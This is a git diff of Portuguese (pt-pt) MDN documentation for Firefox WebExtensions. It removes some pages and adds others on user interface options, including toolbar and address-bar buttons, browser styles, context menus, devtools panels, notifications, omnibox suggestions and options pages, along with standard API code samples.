window.addEventListener("message", function(event) {
-  if (event.source === window && event.data && event.data.message === "check") {
-    console.log(`In page script, window.x: ${window.x}`);
-    console.log(`In page script, window.y: ${window.y}`);
-  }
-});
- -

In Chrome, this will produce output like this:

- -
In content script, window.x: 1
-In content script, window.y: 2
-In page script, window.x: undefined
-In page script, window.y: undefined
- -

In Firefox the following output is produced:

- -
In content script, window.x: undefined
-In content script, window.y: 2
-In page script, window.x: 1
-In page script, window.y: undefined
- -

The same applies to setTimeout(), setInterval(), and Function().

- -

When running code in the context of the page, be very careful. The page's environment is controlled by potentially malicious web pages, which can redefine objects you interact with to behave in unexpected ways:

- -
// page.js redefines console.log
-
-var original = console.log;
-
-console.log = function() {
-  original(true);
-}
-
- -
// content-script.js calls the redefined version
-
-window.eval('console.log(false)');
-
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/suporte_navegador_apis_javascript/index.html b/files/pt-pt/mozilla/add-ons/webextensions/suporte_navegador_apis_javascript/index.html deleted file mode 100644 index e34a4013d3..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/suporte_navegador_apis_javascript/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Suporte de navegador para as APIs de JavaScript -slug: Mozilla/Add-ons/WebExtensions/Suporte_navegador_APIs_JavaScript -tags: - - Extensões da Web -translation_of: Mozilla/Add-ons/WebExtensions/Browser_support_for_JavaScript_APIs ---- -

{{AddonSidebar}}

- -
{{WebExtAllCompatTables}}
- -
A tabela de compatibilidade nesta página é gerada a partir de dados estruturados. Se quiser contribuir para os dados, verifique por favor, consulte https://github.com/mdn/browser-compat-data e envie-nos um pedido de submissão.
- -
 
- -
Agradecimentos - -

Os dados de compatibilidade do Microsoft Edge são fornecidos pela Corporação Microsoft e estão incluídos aqui sob a Licença de Creative Commons Attribution 3.0 - Estado Unidos.

-
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/trasnsferir_extensao_google_chrome/index.html b/files/pt-pt/mozilla/add-ons/webextensions/trasnsferir_extensao_google_chrome/index.html deleted file mode 100644 index 006ecce85c..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/trasnsferir_extensao_google_chrome/index.html +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Conversão de uma extensão do Google Chrome -slug: Mozilla/Add-ons/WebExtensions/Trasnsferir_extensao_Google_Chrome -tags: - - Extensões da Web -translation_of: Mozilla/Add-ons/WebExtensions/Porting_a_Google_Chrome_extension ---- -
{{AddonSidebar}}
- -

As extensões desenvolvidas com as APIs de Extensão da Web são preparadas para compatibilidade entre navegadores: em grande medida, a tecnologia é diretamente compatível com a API de extensão suportada pelo Google Chrome e Opera. As extensões escritas para estes navegadores irão, na maioria do casos, ser executadas no Firefox com apenas algumas alterações. Quase todas das  APIs de extensão são suportadas, utilizando as funções de chamada sob o espaço de nome  chrome, o mesmo que Chrome. As únicas APIs que não são suportadas no nome de espaço chrome são aquelas que são intentionalmente incompatíveis com o Chrome. Nesses casos, a página da documentação de API irá declarar explicitamente que só é suportado no espaço do nome browser . O processo de transferir uma extensão do Chrome para Opera é como isto:

- -
    -
  1. Reveja a sua utilização das funcionaldiades de manifest.json e APIs da Extensão da Web contra a referência de incompatibilidade do Chrome. Se estiver a utilizar as funcionalidades ou APIs que ainda não são suportadas no Firefox, poderá não conseguir converter ainda a sua extensão. A Mozilla fornece um serviço que pode ajudar a automatizar este passo: Teste de Compatibilidade de Extensão para Firefox (inglês).
  2. -
  3. Instale a sua extensão no Firefox e teste-a.
  4. -
  5. Se tiver quaisquer problemas, contacte-nos em lista de endereços ou #webextensions no IRC.
  6. -
  7. Submeta o seu extra em AMO para assinar e distribuir
  8. -
- -

Se estava dependente da opção da linha de comando do Chrome para carregar uma extensão descompactada, consulte a ferramenta web-ext que automatiza a instalação temporária no Firefox para desenvolvimento.

- - diff --git a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/browser_action/index.html b/files/pt-pt/mozilla/add-ons/webextensions/user_interface/browser_action/index.html new file mode 100644 index 0000000000..c5da78003b --- /dev/null +++ b/files/pt-pt/mozilla/add-ons/webextensions/user_interface/browser_action/index.html @@ -0,0 +1,50 @@ +--- +title: Botão da Barra de Ferramentas +slug: Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Ação_navegador +tags: + - Extensão da Web +translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Browser_action +--- +
{{AddonSidebar}}
+ +

Normalmente referido como uma ação do navegador, esta opção da interface do utilizador é um botão adicionado à barra de ferramentas do navegador. Os utilizadores clicam no botão para interagir com a sua extensão.
+

+ +

The toolbar button (browser action) is very like the address bar button (page action). For the differences, and guidance on when to use what, see Page actions and browser actions.

+ +

Especificar a ação do navegador

+ +

Define as propriedades da ação do navegador utilizando a chave browser_action em manifest.json:

+ +
"browser_action": {
+  "default_icon": {
+    "19": "button/geo-19.png",
+    "38": "button/geo-38.png"
+  },
+  "default_title": "Whereami?"
+}
+ +

The only mandatory key is default_icon.

+ +

There are two ways to specify a browser action: with or without a popup. If you don't specify a popup, when the user clicks the button an event is dispatched to the extension, which the extension listens for using browserAction.onClicked:

+ +
browser.browserAction.onClicked.addListener(handleClick);
+ +

If you specify a popup, the click event is not dispatched: instead, the popup is shown when the user clicks the button. The user is able to interact with the popup and it closes automatically when the user clicks outside it. See the Popup article for more details on creating and managing popups.

+ +

Note that your extension can have only one browser action.

+ +

You can change any of the browser action properties programmatically using the browserAction API.

+ +

Ícones

+ +

For details on how to create icons to use with your browser action, see Iconography in the Photon Design System documentation.

+ +

Exemplos

+ +

The webextensions-examples repository on GitHub contains two examples of extensions that implement browser actions:

+ + diff --git a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/browser_styles/index.html b/files/pt-pt/mozilla/add-ons/webextensions/user_interface/browser_styles/index.html new file mode 100644 index 0000000000..bc2f1bd2da --- /dev/null +++ b/files/pt-pt/mozilla/add-ons/webextensions/user_interface/browser_styles/index.html @@ -0,0 +1,453 @@ +--- +title: Estilos de navegador +slug: Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Estilos_de_navegador +tags: + - Extensões + - Extensões da Web + - Extras +translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Browser_styles +--- +
{{AddonSidebar}}
+ +

Certain user interface components - browser and page action popups, sidebars, and options pages - are specified by your extension in essentially the same way:

+ +
    +
  1. create an HTML file defining the structure of the UI element
  2. +
  3. add a manifest.json key (browser_action, page_action, sidebar_action, or options_ui) pointing to that HTML file.
  4. +
+ +

One of the challenges with this approach is styling the element in such a way that it fits in with the browser's own style. To help with this, the manifest.json keys include an extra optional property: browser_style. If this is included and set to true, then your document will get one or more extra stylesheets that will help make it look consistent with the browser's UI and with other extensions that use the browser_style property.

+ +

In Firefox, the stylesheet can be seen at chrome://browser/content/extension.css. The extra stylesheet at chrome://browser/content/extension-mac.css is also included on OS X.

+ +

Most styles are automatically applied, but some elements require you to add the non-​standard browser-style class to get their styling since Firefox 55, as detailed in the table below:

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
ElementoExemplo
<button> +
+<button class="browser-style">Click me</button>{{non-standard_inline}}
+
+

<select>

+
+
+<select class="browser-style" name="select">
+  <option value="value1">Value 1</option>
+  <option value="value2" selected>Value 2</option>
+  <option value="value3">Value 3</option>
+</select>
+
<textarea> +
+<textarea class="browser-style">Write here</textarea>
+
Parent of an <input> +
+<div class="browser-style">
+  <input type="radio" id="op1" name="choices" value="op1">
+  <label for="op1">Option 1</label>
+
+  <input type="radio" id="op2" name="choices" value="op2">
+  <label for="op2">Option 2</label>
+</div>
+
+ +

Compatibilidade de navegador

+ + + +

{{Compat("webextensions.browser_style")}}

+ +

Componentes de Painel do Firefox

+ +
+

{{NonStandardBadge(1)}} Non-Standard
+ This feature is non-standard and only works in Firefox.

+
+ +

The chrome://browser/content/extension.css stylesheet also contains the styles for the Firefox Panel Components.

+ +

The legacy Firefox Style Guide documents proper usage.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ElementoExemplo
Cabeçalho +
+<header class="panel-section panel-section-header">
+  <div class="icon-section-header"><img src="image.svg"/></div>
+  <div class="text-section-header">Header</div>
+</header>
+
Rodapé +
+<footer class="panel-section panel-section-footer">
+  <button class="panel-section-footer-button">Cancel</button>
+  <div class="panel-section-footer-separator"></div>
+  <button class="panel-section-footer-button default">Confirm</button>
+</footer>
+
Separadores +
+<div class="panel-section panel-section-tabs">
+  <button class="panel-section-tabs-button selected">Tab</button>
+  <div class="panel-section-tabs-separator"></div>
+  <button class="panel-section-tabs-button">Tab</button>
+  <div class="panel-section-tabs-separator"></div>
+  <button class="panel-section-tabs-button">Tab</button>
+</div>
+
Form +
+<div class="panel-section panel-section-formElements">
+  <div class="panel-formElements-item">
+    <label for="name01">Label:</label>
+    <input type="text" value="Name" id="name01" />
+  </div>
+  <div class="panel-formElements-item">
+    <label for="picker01">Label:</label>
+    <select id="picker01">
+      <option value="value1" selected="true">Dropdown</option>
+      <option value="value2">List Item</option>
+      <option value="value3">List Item</option>
+    </select>
+  </div>
+  <div class="panel-formElements-item">
+    <label for="placeholder01">Label:</label>
+    <input type="text" placeholder="Placeholder" id="placeholder01" />
+    <button name="expander" class="expander"></button>
+  </div>
+</div>
+
Menu +
+<div class="panel-section panel-section-list">
+  <div class="panel-list-item">
+    <div class="icon"></div>
+    <div class="text">List Item</div>
+    <div class="text-shortcut">Ctrl-L</div>
+  </div>
+
+  <div class="panel-list-item">
+    <div class="icon"></div>
+    <div class="text">List Item</div>
+    <div class="text-shortcut"></div>
+  </div>
+
+  <div class="panel-section-separator"></div>
+
+  <div class="panel-list-item disabled">
+    <div class="icon"></div>
+    <div class="text">Disabled List Item</div>
+    <div class="text-shortcut"></div>
+  </div>
+
+  <div class="panel-section-separator"></div>
+
+  <div class="panel-list-item">
+    <div class="icon"></div>
+    <div class="text">List Item</div>
+    <div class="text-shortcut"></div>
+  </div>
+
+  <div class="panel-list-item">
+    <div class="icon"></div>
+    <div class="text">List Item</div>
+    <div class="text-shortcut"></div>
+  </div>
+</div>
+
+ +

Exemplo

+ +

HTML

+ +
<header class="panel-section panel-section-header">
+  <div class="icon-section-header"><!-- An image goes here. --></div>
+  <div class="text-section-header">Header</div>
+</header>
+
+<div class="panel-section panel-section-list">
+  <div class="panel-list-item">
+    <div class="icon"></div>
+    <div class="text">List Item</div>
+    <div class="text-shortcut">Ctrl-L</div>
+  </div>
+
+  <div class="panel-list-item">
+    <div class="icon"></div>
+    <div class="text">List Item</div>
+    <div class="text-shortcut"></div>
+  </div>
+
+  <div class="panel-section-separator"></div>
+
+  <div class="panel-list-item disabled">
+    <div class="icon"></div>
+    <div class="text">Disabled List Item</div>
+    <div class="text-shortcut"></div>
+  </div>
+
+  <div class="panel-section-separator"></div>
+
+  <div class="panel-list-item">
+    <div class="icon"></div>
+    <div class="text">List Item</div>
+    <div class="text-shortcut"></div>
+  </div>
+
+  <div class="panel-list-item">
+    <div class="icon"></div>
+    <div class="text">List Item</div>
+    <div class="text-shortcut"></div>
+  </div>
+</div>
+
+<footer class="panel-section panel-section-footer">
+  <button class="panel-section-footer-button">Cancel</button>
+  <div class="panel-section-footer-separator"></div>
+  <button class="panel-section-footer-button default">Confirm</button>
+</footer>
+ + + +

Result

+ +

{{EmbedLiveSample("Example","640","360")}}

diff --git a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/context_menu_items/index.html b/files/pt-pt/mozilla/add-ons/webextensions/user_interface/context_menu_items/index.html new file mode 100644 index 0000000000..231a800bc3 --- /dev/null +++ b/files/pt-pt/mozilla/add-ons/webextensions/user_interface/context_menu_items/index.html @@ -0,0 +1,51 @@ +--- +title: Itens do menu de contexto +slug: >- + Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Itens_do_menu_de_contexto +tags: + - Extensões da Web +translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Context_menu_items +--- +
{{AddonSidebar}}
+ +
+

Essa opção da interface do utilizador adiciona um ou mais itens a um menu de contexto do navegador.

+ +

Example of content menu items added by a WebExtension, from the context-menu-demo example

+ +

You would use this option to expose features that are relevant to specific browser or web page contexts. For example, you could show features to open a graphic editor when the user clicks on an image or offer a feature to save page content when part of a page is selected. You can add plain menu items, checkbox items, radio button groups, and separators to menus. Once a context menu item has been added using {{WebExtAPIRef("contextMenus.create")}} it's displayed in all browser tabs, but you can hide it by removing it with {{WebExtAPIRef("contextMenus.remove")}}.

+ +

Especificar itens do menu de contexto

+ +

You manage context menu items programmatically, using the {{WebExtAPIRef("contextMenus")}} API. However, you need to request the contextMenus permission in your manifest.json to be able to take advantage of the API.

+ +
"permissions": ["contextMenus"]
+ +

You can then add (and update or delete) the context menu items in your extension's background script. To create a menu item you specify an id, its title, and the context menus it should appear on:

+ +
browser.contextMenus.create({
+  id: "log-selection",
+  title: browser.i18n.getMessage("contextMenuItemSelectionLogger"),
+  contexts: ["selection"]
+}, onCreated);
+ +

Your extension then listens for clicks on the menu items. The passed information about the item clicked, the context where the click happened, and details of the tab where the click took place can then be used to invoke the appropriate extension functionality.

+ +
browser.contextMenus.onClicked.addListener(function(info, tab) {
+  switch (info.menuItemId) {
+    case "log-selection":
+      console.log(info.selectionText);
+      break;
+    ...
+  }
+})
+ +

Exemplos

+ +

O repositório de wexemplos das Extensões da Web no GitHub, contém vários exemplos de extensões que utilizam os itens do menu de contexto:

+ + +
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/devtools_panels/index.html b/files/pt-pt/mozilla/add-ons/webextensions/user_interface/devtools_panels/index.html new file mode 100644 index 0000000000..a2bc9921ad --- /dev/null +++ b/files/pt-pt/mozilla/add-ons/webextensions/user_interface/devtools_panels/index.html @@ -0,0 +1,62 @@ +--- +title: Painéis das ferramentas de desenvolvimento +slug: Mozilla/Add-ons/WebExtensions/interface_do_utilizador/devtools_panels +tags: + - Extensões da Web + - Guía + - Interface do Utilizador + - Principiante +translation_of: Mozilla/Add-ons/WebExtensions/user_interface/devtools_panels +--- +
{{AddonSidebar}}
+ +
+

Esta funcionalidade está disponível desde o Firefox 54.

+
+ +

Quando uma extensão fornece ferramentas que são úteis para os programadores, é possível adicionar uma IU para as mesmas para as ferramentas de desenvolvimento do navegador como um novo painel.

+ +

Simple example showing the addition of "My panel" to the Developer Tools tabs.

+ +

Especificar um painel de ferramentas de desenvolvimento

+ +

Um painél das ferramentas de desenvovlimento é adicionado utilizando a API devtools.panels, que precisa de ser executada a partir de uma página de devtools especial.

+ +

Adicione a páginas de devtools, incluindo a chave devtools_page na extensão de manifest.json e forneça a localização do ficheiro HTML da página na extensão:

+ +
"devtools_page": "devtools-page.html"
+ +

From the devtools page, call a script that will add the devtools panel:

+ +
<body>
+  <script src="devtools.js"></script>
+</body>
+ +

In the script, create the devtools panel by specifying the panel's title, icon, and HTML file that provides the panel's content:

+ +
function handleShown() {
+  console.log("panel is being shown");
+}
+
+function handleHidden() {
+  console.log("panel is being hidden");
+}
+
+browser.devtools.panels.create(
+  "My Panel",           // title
+  "icons/star.png",           // icon
+  "devtools/panel/panel.html"          // content
+).then((newPanel) => {
+  newPanel.onShown.addListener(handleShown);
+  newPanel.onHidden.addListener(handleHidden);
+});
+ +

The extension can now run code in the inspected window using devtools.inspectedWindow.eval() or by injecting a content script via the background script by passing a message. You can find more details on how to do this in Extending the developer tools.

+ +

Exemplos

+ +

The webextensions-examples repo on GitHub, contains several examples of extensions that use devtools panels:

+ + diff --git a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/extension_pages/index.html b/files/pt-pt/mozilla/add-ons/webextensions/user_interface/extension_pages/index.html new file mode 100644 index 0000000000..4bf94b9653 --- /dev/null +++ b/files/pt-pt/mozilla/add-ons/webextensions/user_interface/extension_pages/index.html @@ -0,0 +1,64 @@ +--- +title: Páginas de extensão +slug: Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Paginas_de_extensão +translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Extension_pages +--- +
{{AddonSidebar()}}
+ +

Pode inclur páginas html na sua extensão para fornecer formulários, ajuda, ou qualquer outro conteúdo que a sua extensão precisar.

+ +

Example of a simple bundled page displayed as a detached panel.

+ +

These pages also get access to the same privileged JavaScript APIs that are available to your extension's background scripts.

+ +

Especificar páginas de extensão

+ +

You can include HTML files, and their associated CSS or JavaScript files, in your extension. The files can be included in the root or organized within meaningful sub-folders.

+ +
/my-extension
+    /manifest.json
+    /my-page.html
+    /my-page.js
+ +

Exibir páginas de extensão

+ +

There are two options for displaying extension pages: {{WebExtAPIRef("windows.create()")}} and {{WebExtAPIRef("tabs.create()")}}.

+ +

Using windows.create(), for example, you can open an HTML page into a detached panel (a window without the normal browser UI of address bar, bookmark bar, and alike) to create a dialog-like user experience:

+ +
var createData = {
+  type: "detached_panel",
+  url: "panel.html",
+  width: 250,
+  height: 100
+};
+var creating = browser.windows.create(createData);
+ +

When the window is no longer needed, it can be closed programmatically, for example, after the user clicks a button, by passing the id of the current window to {{WebExtAPIRef("windows.remove()")}}:

+ +
document.getElementById("closeme").addEventListener("click", function(){
+  var winId = browser.windows.WINDOW_ID_CURRENT;
+  var removing = browser.windows.remove(winId);
+}); 
+ +

Páginas de extensão e histório

+ +

By default, pages you open in this way will be stored in the user's history, just like normal web pages. If you don't want to have this behavior, use {{WebExtAPIRef("history.deleteUrl()")}} to remove the browser's record:

+ +
function onVisited(historyItem) {
+  if (historyItem.url == browser.extension.getURL(myPage)) {
+    browser.history.deleteUrl({url: historyItem.url});
+  }
+}
+
+browser.history.onVisited.addListener(onVisited);
+ +

To use the history API, you must request the "history" permission in your manifest.json file.

+ +

Desenho da página da Web

+ +

For details on how to design your web page's to match the style of Firefox, see the Photon Design System documentation.

+ +

Exemplos

+ +

The webextensions-examples repository on GitHub includes the window-manipulator example, which implements several of the options for creating windows.

diff --git a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/index.html b/files/pt-pt/mozilla/add-ons/webextensions/user_interface/index.html new file mode 100644 index 0000000000..6ec29a7fcf --- /dev/null +++ b/files/pt-pt/mozilla/add-ons/webextensions/user_interface/index.html @@ -0,0 +1,93 @@ +--- +title: Interface do utilizador +slug: Mozilla/Add-ons/WebExtensions/interface_do_utilizador +tags: + - Interface do Utilizador + - Landing + - WebExtensions +translation_of: Mozilla/Add-ons/WebExtensions/user_interface +--- +
{{AddonSidebar}}
+ +

As extensões que utilizam as APIs de WebExtension são fornecidas com várias opções de interface do utilizador, e assim, as suas funcionalidades podem ficar disponíveis para o utilizador. Um resumo dessas opções é fornecido abaixo, com uma introdução mais detalhada para cada opção da interface do utilziador nesta secção .

+ +
+

For advice on using these UI components to create a great user experience in your extension, please see the User experience best practices article.

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Opção de UIDescriçãoExemplo
Browser toolbar buttonA button on the browser toolbar that dispatches an event to the extension when clicked. By default, the button is visible in all tabs.Example of a WebExtension toolbar button
Browser toolbar button with a popupA popup on a button in the browser toolbar that opens when the button is clicked. The popup is defined in an HTML document that handles the user interaction.Example of a WebExtension toolbar button with a popup
Address bar buttonA button on the browser address bar that dispatches an event to the extension when clicked. By default, the button is hidden in all tabs.Example showing an address bar button (page action)
Address bar button with a popupA popup on a button in the browser address bar that opens when the button is clicked. The popup is defined in an HTML document that handles the user interaction.Example of a popup on the address bar button
Context menu itemsMenu items, checkboxes, and radio buttons on one or more of the browser's context menus. Also, menus can be structured by adding separators. When menu items are clicked, an event is dispatched to the extension.
Sidebar +

An HTML document displayed next to a web page, with the option for unique content per page. The sidebar is opened when the extension is installed, then obeys the user's sidebar visibility selection. User interaction within the sidebar is handled by its HTML document.

+
Example of a WebExtension's sidebar
Options pageA page that enables you to define preferences for your extension that your users can change. The user can access this page in the from the browser's add-ons manager.Example showing the options page content added in the favorite colors example.
Bundled web pagesUse web pages included in your extension to provide forms, help, or any other content required, within windows or tabs.Example of a simple bundled page displayed as a detached panel.
NotificationsTransient notifications displayed to the user through the underlying operating system's notifications mechanism. Dispatches an event to the extension when the user clicks a notification, or when a notification closes (either automatically or at the user's request).Example notification from a WebExtension
Address bar suggestionsOffer custom address bar suggestions when the user enters a keyword.Example showing the result of the firefox_code_search WebExtension's customization of the address bar suggestions.
Developer tools panelsA tab with an associated HTML document that displays in the browser's developer tools.New panel tab in the Developer Tools tab bar
+ +

The following how-to guides provide step-by-step guidance to creating some of these user interface options:

+ + diff --git a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/notifications/index.html b/files/pt-pt/mozilla/add-ons/webextensions/user_interface/notifications/index.html new file mode 100644 index 0000000000..5b38d4f29f --- /dev/null +++ b/files/pt-pt/mozilla/add-ons/webextensions/user_interface/notifications/index.html @@ -0,0 +1,50 @@ +--- +title: Notificações +slug: Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Notificacoes +tags: + - Extensões da Web +translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Notifications +--- +
{{AddonSidebar}}
+ +
+

As notificações permitem-lhe comunicar a informação sobre a sua extensão ou o seu conteúdo utilizando o serviço de notificação do sistema operativo subjacente:

+ +

+ +

As notificações podem incluir uma chamada para ação para o utilizador, e o seu extra pode escutar o utilizador a clicar na notificação ou a notificação a fechar.

+ +

Especificar as notificações

+ +

Pode gerir as notificações programaticamente, utilizando a API {{WebExtAPIRef("notifications")}}. Para utilizar esta API deve solicitar a permissão de notifications no seu manifest.json:

+ +
"permissions": ["notifications"]
+ +

Depois, pode utilziar {{WebExtAPIRef("notifications.create")}} para criar as suas notificações, como neste exemplo de notify-link-clicks-i18n:

+ +
var title = browser.i18n.getMessage("notificationTitle");
+var content = browser.i18n.getMessage("notificationContent", message.url);
+browser.notifications.create({
+  "type": "basic",
+  "iconUrl": browser.extension.getURL("icons/link-48.png"),
+  "title": title,
+  "message": content
+});
+ +

Este código cria uma notificação com um ícone, título, e mensagem.

+ +

Se a notificação incluir uma chamada para ação, pode escutar o utilizador a clicar na notificação para chamar a ação para manipular a ação:

+ +
browser.notifications.onClicked.addListener(handleClick);
+
+ +

Se estiver a enviar chamadas para ação através das notificações, também irá querer definir a notificação opcional id, e assim, pode saber qual a chamada para ação que o utilizador selecionou.

+ +

Exemplos

+ +

O repositório dos exemplos da extensões da Web no GitHub, contém vários exemplos das extensões que utilizam creates notifications:

+ + +
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/omnibox/index.html b/files/pt-pt/mozilla/add-ons/webextensions/user_interface/omnibox/index.html new file mode 100644 index 0000000000..c0f9f41dca --- /dev/null +++ b/files/pt-pt/mozilla/add-ons/webextensions/user_interface/omnibox/index.html @@ -0,0 +1,70 @@ +--- +title: Sugestões da barra de endereço +slug: Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Omnibox +tags: + - Extensões da Web + - Interface do Utilizador +translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Omnibox +--- +
{{AddonSidebar()}}
+ +

Using the {{WebExtAPIRef("omnibox")}} API, extensions can customize the suggestions offered in the browser address bar's drop-down when the user enters a keyword.

+ +

Example showing the result of the firefox_code_search WebExtension's customization of the address bar suggestions.

+ +

This enables your extension to, for example, search a library of free ebooks or, as in the example above, a repository of code examples.

+ +

Especificando a personalização de omnibox

+ +

You tell your extension that it is going to customize the address bar suggestions by including the omnibox key and definition of the trigger keyword in its manifest.json file:

+ +
  "omnibox": { "keyword" : "cs" }
+ +

In the extension's background JavaScript file, using {{WebExtAPIRef("omnibox.setDefaultSuggestion()")}}, you can optionally define the first suggestion to be displayed in the address bar drop-down. Use this to provide a hint on how to use the feature:

+ +
browser.omnibox.setDefaultSuggestion({
+  description: `Search the firefox codebase
+    (e.g. "hello world" | "path:omnibox.js onInputChanged")`
+});
+ +

You can then add the code to provide the customized content by listening for {{WebExtAPIRef("omnibox.onInputStarted")}}, which is dispatched when the user has typed the keyword and a space, and {{WebExtAPIRef("omnibox.onInputChanged")}}, which is dispatched whenever the user updates the address bar entry. You can then populate the suggestions, in this case building a search of https://searchfox.org/mozilla-central using the term entered by the user:

+ +
browser.omnibox.onInputChanged.addListener((text, addSuggestions) => {
+  let headers = new Headers({"Accept": "application/json"});
+  let init = {method: 'GET', headers};
+  let url = buildSearchURL(text);
+  let request = new Request(url, init);
+
+  fetch(request)
+    .then(createSuggestionsFromResponse)
+    .then(addSuggestions);
+});
+ +

If the extension set a default suggestion using {{WebExtAPIRef("omnibox.setDefaultSuggestion()")}}, then this will appear first in the drop-down.

+ +

The extension can then listen for the user clicking one of the suggestions, using {{WebExtAPIRef("omnibox.onInputEntered")}}. If the default suggestion is clicked the user's custom term is returned, otherwise the suggestion's string is returned. This also passes information on the user's browser preferences for handling new links. In the code below the user's custom term is used to create a search, otherwise the suggested URL is opened:

+ +
browser.omnibox.onInputEntered.addListener((text, disposition) => {
+  let url = text;
+  if (!text.startsWith(SOURCE_URL)) {
+    // Update the url if the user clicks on the default suggestion.
+    url = `${SEARCH_URL}?q=${text}`;
+  }
+  switch (disposition) {
+    case "currentTab":
+      browser.tabs.update({url});
+      break;
+    case "newForegroundTab":
+      browser.tabs.create({url});
+      break;
+    case "newBackgroundTab":
+      browser.tabs.create({url, active: false});
+      break;
+  }
+});
+ +

 

+ +

Exemplos

+ +

O repositório dos exemplos das extensões da Web no GitHub inclui o exemplo firefox-code-search que personaliza a barra de pesquisa.

diff --git a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/options_pages/index.html b/files/pt-pt/mozilla/add-ons/webextensions/user_interface/options_pages/index.html new file mode 100644 index 0000000000..b3bee11990 --- /dev/null +++ b/files/pt-pt/mozilla/add-ons/webextensions/user_interface/options_pages/index.html @@ -0,0 +1,64 @@ +--- +title: Página de opções +slug: Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Options_pages +tags: + - Extensões da Web +translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Options_pages +--- +
{{AddonSidebar}}
+ +
+

Uma página de Opções permite-lhe definir as preferências para sua extensão que os seus utilizadores podem alterar. Os utilizadores podem aceder á página das opções para uma extensão a partir do do gestor de extras do navegador:

+ +

{{EmbedYouTube("02oXAcbUv-s")}}

+ +

The way users access the page, and the way it's integrated into the browser's user interface, will vary from one browser to another.

+ + + +

You can open the page programmatically by calling runtime.openOptionsPage().

+ +

Options pages have a Content Security Policy that restricts the sources from which they can load resources, and disallows some unsafe practices such as the use of eval(). See Content Security Policy for more details.

+ +

Especificar a página de opções

+ +

To create an options page, write an HTML file defining the page. This page can include CSS and JavaScript files, like a normal web page. This page, from the favourite-colour example, includes a JavaScript file:

+ +
<!DOCTYPE html>
+
+<html>
+  <head>
+    <meta charset="utf-8">
+  </head>
+
+<body>
+  <form>
+      <label>Favourite colour</label>
+      <input type="text" id="colour" >
+      <button type="submit">Save</button>
+  </form>
+  <script src="options.js"></script>
+</body>
+
+</html>
+ +

JavaScript em execução na página pode utilizar a API das Extensões da Web que o extra tem permissões para. Em particular, pode utilziar a APi de armazenamento para manter as preferências.

+ +

Package the page's files in your extension.

+ +

You also need to include the options_ui key in your manifest.json file, giving it the URL to the page.

+ +
"options_ui": {
+  "page": "options.html",
+  "browser_style": true
+},
+ +

Exemplos

+ +

The webextensions-examples repo on GitHub, contains several examples of extensions that use an options page:

+ + +
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/page_actions/index.html b/files/pt-pt/mozilla/add-ons/webextensions/user_interface/page_actions/index.html new file mode 100644 index 0000000000..7093d3355c --- /dev/null +++ b/files/pt-pt/mozilla/add-ons/webextensions/user_interface/page_actions/index.html @@ -0,0 +1,50 @@ +--- +title: Botão da barra de endereço +slug: Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Acoes_pagina +tags: + - Extensões da Web + - Interface do Utilizador +translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Page_actions +--- +
{{AddonSidebar}}
+ +

Normalmente referido como uma ação da página, esta opção da inteface do utilizador é um botão adicionado à barra de endereço do navegador. Os utilziadores clicam no botão para interagir com a sua extensão.

+ +

+ +

Use this button when a feature is only relevant for some web pages. By default, the address bar button is hidden in all browser tabs, and you call pageAction.show() and pageAction.hide() to show or hide it in specific tabs.

+ +

Compare to the toolbar button, which offers similar behavior but is used in situations where the extension's features are applicable to almost every web page.

+ +

Especificar a ação da página

+ +

You define the page action's properties using the page_action key in manifest.json:

+ +
"page_action": {
+  "browser_style": true,
+  "default_icon": {
+    "19": "button/geo-19.png",
+    "38": "button/geo-38.png"
+  },
+  "default_title": "Whereami?"
+}
+ +

The only mandatory key is default_icon.

+ +

There are two ways to specify a page action: with or without a popup. If you don't specify a popup, when the user clicks the button an event is dispatched to the extension, which the extension listens for using pageAction.onClicked:

+ +
browser.pageAction.onClicked.addListener(handleClick);
+ +

If you specify a popup, the click event is not dispatched: instead, the popup is shown when the user clicks the button. The user is able to interact with the popup and it closes automatically when the user clicks outside it. See the Popup article for more details on creating and managing popups.

+ +

Note that your extension can have one page action only.

+ +

You can change any of the page action properties programmatically using the pageAction API.

+ +

Exemplos

+ +

The webextensions-examples repo on GitHub, contains several examples of extensions that use page action:

+ + diff --git a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/popups/index.html b/files/pt-pt/mozilla/add-ons/webextensions/user_interface/popups/index.html new file mode 100644 index 0000000000..6bbf3f7ce8 --- /dev/null +++ b/files/pt-pt/mozilla/add-ons/webextensions/user_interface/popups/index.html @@ -0,0 +1,60 @@ +--- +title: Janelas (Popups) +slug: Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Popups +tags: + - Extensions + - IU + - Interface do Utilizador + - Janela + - popup +translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Popups +--- +
{{AddonSidebar}}
+ +
+

